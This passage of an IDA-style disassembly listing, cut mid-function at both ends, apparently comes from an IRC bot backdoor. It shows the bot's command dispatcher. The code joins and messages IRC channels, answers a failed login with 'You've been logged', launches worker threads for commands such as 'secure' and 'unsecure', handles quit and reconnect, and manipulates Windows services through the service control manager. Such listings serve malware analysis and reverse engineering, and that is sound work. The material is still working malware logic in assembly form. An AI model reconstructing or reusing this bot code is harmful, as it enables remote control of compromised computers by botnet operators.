		push	ebx
		call	sub_407520
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_429B70
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		jmp	loc_40BAEF
; ---------------------------------------------------------------------------


loc_40D636:				; CODE XREF: seg000:0040A142j
					; seg000:0040A157j
		push	1Eh
		call	sub_4101A3
		test	eax, eax
		pop	ecx
		jle	short loc_40D66A
		cmp	[ebp-8], ebx
		jnz	loc_4093BE
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_429B3C
		push	dword ptr [ebp-8Ch]


loc_40D65A:				; CODE XREF: seg000:004097CCj
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: seg000:0040D640j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_41099A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		mov	[ebp-458h], ebx
		jz	short loc_40D6CB
		push	esi
		push	offset aFull	; "full"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D6CB
		mov	dword ptr [ebp-458h], 1


loc_40D6CB:				; CODE XREF: seg000:0040D6AEj
					; seg000:0040D6BFj
		lea	eax, [ebp-2E4h]
		push	offset dword_429B00
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Eh
		push	eax
		call	sub_40FF5B
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_40F1E9
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40D739


loc_40D723:				; CODE XREF: seg000:0040D737j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40B13B
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40D723
; ---------------------------------------------------------------------------


loc_40D739:				; CODE XREF: seg000:0040D721j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_429AB0


loc_40D745:				; CODE XREF: seg000:0040DC65j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		jmp	loc_40B13B
; ---------------------------------------------------------------------------


loc_40D759:				; CODE XREF: seg000:0040A118j
					; seg000:0040A12Dj
		cmp	[ebp-8], ebx
		jnz	short loc_40D778
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_429A84
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40D778:				; CODE XREF: seg000:0040D75Cj
		push	dword ptr [ebp+0Ch]
		call	ds:dword_42FAB0
		call	ds:dword_42F978
		call	loc_406983
		push	ebx
		call	ds:dword_41C104	; ExitProcess


loc_40D793:				; CODE XREF: seg000:0040A0EEj
					; seg000:0040A103j
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40763F
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		push	offset dword_429A58
		jmp	short loc_40D7EB
; ---------------------------------------------------------------------------


loc_40D7BE:				; CODE XREF: seg000:0040A0C4j
					; seg000:0040A0D9j
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_4078F3
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		push	offset dword_429A2C


loc_40D7EB:				; CODE XREF: seg000:0040D530j
					; seg000:0040D7BCj
		call	sub_407AB1
		jmp	loc_40C61C
; ---------------------------------------------------------------------------


loc_40D7F5:				; CODE XREF: seg000:0040A09Aj
					; seg000:0040A0AFj
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_407B51


loc_40D809:				; CODE XREF: seg000:00409308j
					; seg000:0040D590j ...
		add	esp, 10h
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_40D811:				; CODE XREF: seg000:0040A070j
					; seg000:0040A085j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_40D850
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40D850
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D850
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_41099A
		add	esp, 10h


loc_40D850:				; CODE XREF: seg000:0040D81Aj
					; seg000:0040D825j ...
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_41099A
		mov	eax, [ebp+0Ch]
		push	offset dword_429A00
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Ch
		push	eax
		call	sub_40FF5B
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset sub_407B91
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40D8F0


loc_40D8DA:				; CODE XREF: seg000:0040D8EEj
		cmp	[ebp-2E8h], ebx
		jnz	loc_4093BE
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40D8DA
; ---------------------------------------------------------------------------


loc_40D8F0:				; CODE XREF: seg000:0040D8D8j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4299B4
		jmp	loc_40DF1A
; ---------------------------------------------------------------------------


loc_40D901:				; CODE XREF: seg000:0040A046j
					; seg000:0040A05Bj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_407A39
		push	offset dword_429988
		call	sub_407AB1
		jmp	loc_40D49D
; ---------------------------------------------------------------------------


loc_40D921:				; CODE XREF: seg000:0040A01Cj
					; seg000:0040A031j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_41099A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jz	short loc_40D97B
		push	offset dword_429984
		push	esi
		call	sub_4117C0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-458h], eax
		jmp	short loc_40D981
; ---------------------------------------------------------------------------


loc_40D97B:				; CODE XREF: seg000:0040D95Fj
		mov	[ebp-458h], ebx


loc_40D981:				; CODE XREF: seg000:0040D979j
		lea	eax, [ebp-2E4h]
		push	offset dword_429954
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1Fh
		push	eax
		call	sub_40FF5B
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset word_40FFC6
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40D9EB


loc_40D9D9:				; CODE XREF: seg000:0040D9E9j
		cmp	[ebp-44Ch], ebx
		jnz	short loc_40DA06
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40D9D9
; ---------------------------------------------------------------------------


loc_40D9EB:				; CODE XREF: seg000:0040D9D7j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_429908


loc_40D9F7:				; CODE XREF: seg000:0040CA62j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_40DA06:				; CODE XREF: seg000:0040B07Fj
					; seg000:0040B0A1j ...
		lea	eax, [ebp-2E4h]
		push	eax
		jmp	loc_40A2B0
; ---------------------------------------------------------------------------


loc_40DA12:				; CODE XREF: seg000:00409FA0j
					; seg000:00409FB5j
		push	offset aIdxbqw	; "idxbqw"
		lea	eax, [ebp-2E4h]
		push	offset dword_4298DC
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 20h
		jmp	loc_40C3C1
; ---------------------------------------------------------------------------


loc_40DA49:				; CODE XREF: seg000:00409F76j
					; seg000:00409F8Bj
		push	ds:dword_45DE98
		call	sub_407520
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42989C
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 24h
		jmp	loc_40C3C1
; ---------------------------------------------------------------------------


loc_40DA87:				; CODE XREF: seg000:00409F4Cj
					; seg000:00409F61j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40DAB9
		cmp	[ebp-0Ch], ebx
		jz	short loc_40DAC8
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DAC8
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		add	esp, 0Ch
		jmp	short loc_40DAC8
; ---------------------------------------------------------------------------


loc_40DAB9:				; CODE XREF: seg000:0040DA90j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		pop	ecx
		pop	ecx


loc_40DAC8:				; CODE XREF: seg000:0040DA95j
					; seg000:0040DAA4j ...
		push	0FFFFFFFEh
		jmp	loc_4093C0
; ---------------------------------------------------------------------------


loc_40DACF:				; CODE XREF: seg000:00409F22j
					; seg000:00409F37j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	offset dword_429848
		call	sub_407AB1
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_4093C1
; ---------------------------------------------------------------------------


loc_40DAF1:				; CODE XREF: seg000:00409EF8j
					; seg000:00409F0Dj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	offset dword_429804
		call	sub_407AB1
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_4093C1
; ---------------------------------------------------------------------------


loc_40DB12:				; CODE XREF: seg000:00409ECEj
					; seg000:00409EE3j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40468B
		jmp	loc_40C585
; ---------------------------------------------------------------------------


loc_40DB28:				; CODE XREF: seg000:00409E29j
					; seg000:00409E3Ej
		push	dword ptr [ebp+esi-90h]
		push	1Eh
		push	offset dword_4297F4
		push	offset dword_4297E8
		jmp	short loc_40DB50
; ---------------------------------------------------------------------------


loc_40DB3D:				; CODE XREF: seg000:00409DFFj
					; seg000:00409E14j
		push	dword ptr [ebp+esi-90h]
		push	1Bh
		push	offset dword_4297DC
		push	offset dword_4297CC


loc_40DB50:				; CODE XREF: seg000:00409CA3j
					; seg000:00409CCCj ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4101E9
		add	esp, 20h
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_40DB6C:				; CODE XREF: seg000:00409C3Aj
					; seg000:00409C4Fj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DB94
		push	edi
		push	offset aSec	; "sec"
		call	sub_4117C0
		pop	ecx
		mov	[ebp-458h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB9E


loc_40DB94:				; CODE XREF: seg000:0040DB7Bj
		mov	dword ptr [ebp-458h], 1


loc_40DB9E:				; CODE XREF: seg000:0040DB92j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_41099A
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-458h], ebx
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40DBE5
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40DBE5:				; CODE XREF: seg000:0040DBDEj
		push	eax
		push	offset dword_42977C
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_41099A
		push	ebx
		lea	eax, [ebp-2E4h]
		push	19h
		push	eax
		call	sub_40FF5B
		add	esp, 1Ch
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_40F8C0
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40DC59


loc_40DC43:				; CODE XREF: seg000:0040DC57j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40B13B
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40DC43
; ---------------------------------------------------------------------------


loc_40DC59:				; CODE XREF: seg000:0040DC41j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42972C
		jmp	loc_40D745
; ---------------------------------------------------------------------------


loc_40DC6A:				; CODE XREF: seg000:00409C10j
					; seg000:00409C25j
		push	offset aEnz9_wbvbqw ; "enz 9.wbvbqw"
		push	offset dword_429708
		jmp	loc_40C37C
; ---------------------------------------------------------------------------


loc_40DC79:				; CODE XREF: seg000:00409BE6j
					; seg000:00409BFBj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40DCD3
		push	esi
		call	sub_41098F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40DCCB
		cmp	eax, 2
		jge	short loc_40DCCB
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40DCC3
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42BFB8
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40C138
; ---------------------------------------------------------------------------


loc_40DCC3:				; CODE XREF: seg000:0040DCA2j
		push	eax
		push	offset dword_4296C8
		jmp	short loc_40DD10
; ---------------------------------------------------------------------------


loc_40DCCB:				; CODE XREF: seg000:0040DC8Dj
					; seg000:0040DC92j
		push	eax
		push	offset dword_429688
		jmp	short loc_40DD10
; ---------------------------------------------------------------------------


loc_40DCD3:				; CODE XREF: seg000:0040DC82j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40DCD8:				; CODE XREF: seg000:0040DCF4j
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DCFB
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40DCD8
		jmp	loc_40C138
; ---------------------------------------------------------------------------


loc_40DCFB:				; CODE XREF: seg000:0040DCE8j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42BFB8


loc_40DD10:				; CODE XREF: seg000:0040CC3Cj
					; seg000:0040D2C9j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		jmp	loc_40C138
; ---------------------------------------------------------------------------


loc_40DD24:				; CODE XREF: seg000:00409BBCj
					; seg000:00409BD1j
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DD93
		call	sub_410124
		push	ebx
		call	ds:dword_41C104	; ExitProcess


loc_40DD46:				; CODE XREF: seg000:00409B92j
					; seg000:00409BA7j
		push	dword ptr [ebp+esi-90h]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-564h]
		push	ds:dword_4224A4
		push	eax
		call	sub_40F699
		lea	eax, [ebp-564h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		lea	eax, [ebp-564h]
		push	eax
		push	offset dword_429650
		call	sub_407B25


loc_40DD90:				; CODE XREF: seg000:0040B2A0j
		add	esp, 24h


loc_40DD93:				; CODE XREF: seg000:00409586j
					; seg000:00409592j ...
		mov	eax, [ebp+2Ch]
		jmp	loc_4093C1
; ---------------------------------------------------------------------------


loc_40DD9B:				; CODE XREF: seg000:00409615j
					; seg000:0040962Aj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_4093BE
		cmp	[ebp-0A8h], ebx
		jnz	loc_4093BE
		push	offset dword_4256E4
		push	dword ptr [ebp-94h]
		call	sub_411BC0
		mov	esi, eax
		push	offset dword_42E654
		push	ebx
		inc	esi
		call	sub_411BC0
		push	offset asc_42964C ; "~"
		push	eax
		call	sub_411BC0
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_4117C0
		add	esp, 20h
		test	eax, eax
		jz	short loc_40DE31
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	edi
		push	esi
		push	offset dword_4295C0
		jmp	short loc_40DE8D
; ---------------------------------------------------------------------------


loc_40DE31:				; CODE XREF: seg000:0040DDF6j
		mov	dword ptr [ebp+2Ch], offset off_422564


loc_40DE38:				; CODE XREF: seg000:0040DE54j
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_4102B4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEA1
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_422568
		jl	short loc_40DE38
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	edi
		push	esi
		push	offset dword_429580


loc_40DE8D:				; CODE XREF: seg000:0040DE2Fj
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 30h
		jmp	loc_40C159
; ---------------------------------------------------------------------------


loc_40DEA1:				; CODE XREF: seg000:0040DE47j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40DEA6:				; CODE XREF: seg000:0040DED0j
		cmp	[ebp+8], ebx
		jz	loc_4093BE
		cmp	[edi], bl
		jnz	short loc_40DEC6
		push	dword ptr [ebp+8]
		push	offset aHi	; "hi"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DED7


loc_40DEC6:				; CODE XREF: seg000:0040DEB1j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40DEA6
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_40DED7:				; CODE XREF: seg000:0040DEC4j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_411C90
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40DF0E
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42954C
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40DF0E:				; CODE XREF: seg000:0040DEF2j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_429518


loc_40DF1A:				; CODE XREF: seg000:004094DEj
					; seg000:0040D8FCj
		call	sub_407B25
		pop	ecx


loc_40DF20:				; CODE XREF: seg000:0040B147j
		pop	ecx
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_40DF26:				; CODE XREF: seg000:00409151j
					; seg000:00409166j
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	offset dword_42253C
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		add	esp, 2Ch
		mov	ds:dword_45E018, edi
		jmp	loc_4091E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF6C	proc near		; CODE XREF: sub_408DCB+3Dp
					; seg000:0040910Ep ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4122BF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42FA68
		leave
		retn
sub_40DF6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFB2	proc near		; CODE XREF: start+75p
					; seg000:00401449p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40DFCD
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40DFCD:				; CODE XREF: sub_40DFB2+14j
		push	edi
		call	sub_410A70
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_410A70
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41099A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42C0C0
		push	eax
		call	sub_4104AF
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42FA68
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40E04B
		push	7D0h
		call	ds:dword_41C050	; Sleep

locret_40E04B:				; CODE XREF: sub_40DFB2+8Cj
		leave
		retn
sub_40DFB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E04D	proc near		; CODE XREF: seg000:loc_40A7A0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40E0B2
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_42C0D8[esi]
		push	edi
		push	eax
		call	sub_40E0D4
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40E095
		push	edi
		push	ds:off_42C0D4[esi]
		mov	esi, offset dword_45E6E0
		push	offset dword_42C20C
		push	esi
		call	sub_4104AF
		add	esp, 10h
		jmp	short loc_40E0CF
; ---------------------------------------------------------------------------


loc_40E095:				; CODE XREF: sub_40E04D+2Aj
		push	eax
		call	sub_40E176
		push	eax
		push	edi
		mov	esi, offset dword_45E6E0
		push	offset dword_42C1D0
		push	esi
		call	sub_4104AF
		add	esp, 14h
		jmp	short loc_40E0CF
; ---------------------------------------------------------------------------


loc_40E0B2:				; CODE XREF: sub_40E04D+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_45E6E0
		push	ds:off_42C0D0[eax*4]
		push	offset dword_42C198
		push	esi
		call	sub_4104AF
		add	esp, 0Ch


loc_40E0CF:				; CODE XREF: sub_40E04D+46j
					; sub_40E04D+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40E04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D4	proc near		; CODE XREF: sub_40E04D+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_42FA0C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40E0FB
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40E170
; ---------------------------------------------------------------------------


loc_40E0FB:				; CODE XREF: sub_40E0D4+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_42F900
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40E11B
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40E168
; ---------------------------------------------------------------------------


loc_40E11B:				; CODE XREF: sub_40E0D4+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40E14E
		cmp	eax, 3
		jz	short loc_40E13F
		jle	short loc_40E161
		cmp	eax, 6
		jg	short loc_40E161
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_42F968
		jmp	short loc_40E155
; ---------------------------------------------------------------------------


loc_40E13F:				; CODE XREF: sub_40E0D4+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_42F908
		jmp	short loc_40E155
; ---------------------------------------------------------------------------


loc_40E14E:				; CODE XREF: sub_40E0D4+4Dj
		push	esi
		call	ds:dword_42F96C


loc_40E155:				; CODE XREF: sub_40E0D4+69j
					; sub_40E0D4+78j
		test	eax, eax
		jnz	short loc_40E161
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ebx, eax


loc_40E161:				; CODE XREF: sub_40E0D4+54j
					; sub_40E0D4+59j ...
		push	esi
		call	ds:dword_42F91C


loc_40E168:				; CODE XREF: sub_40E0D4+45j
		push	edi
		call	ds:dword_42F91C
		pop	esi


loc_40E170:				; CODE XREF: sub_40E0D4+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40E0D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E176	proc near		; CODE XREF: sub_40E04D+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40E22B
		jz	loc_40E224
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40E1EE
		jz	short loc_40E1E4
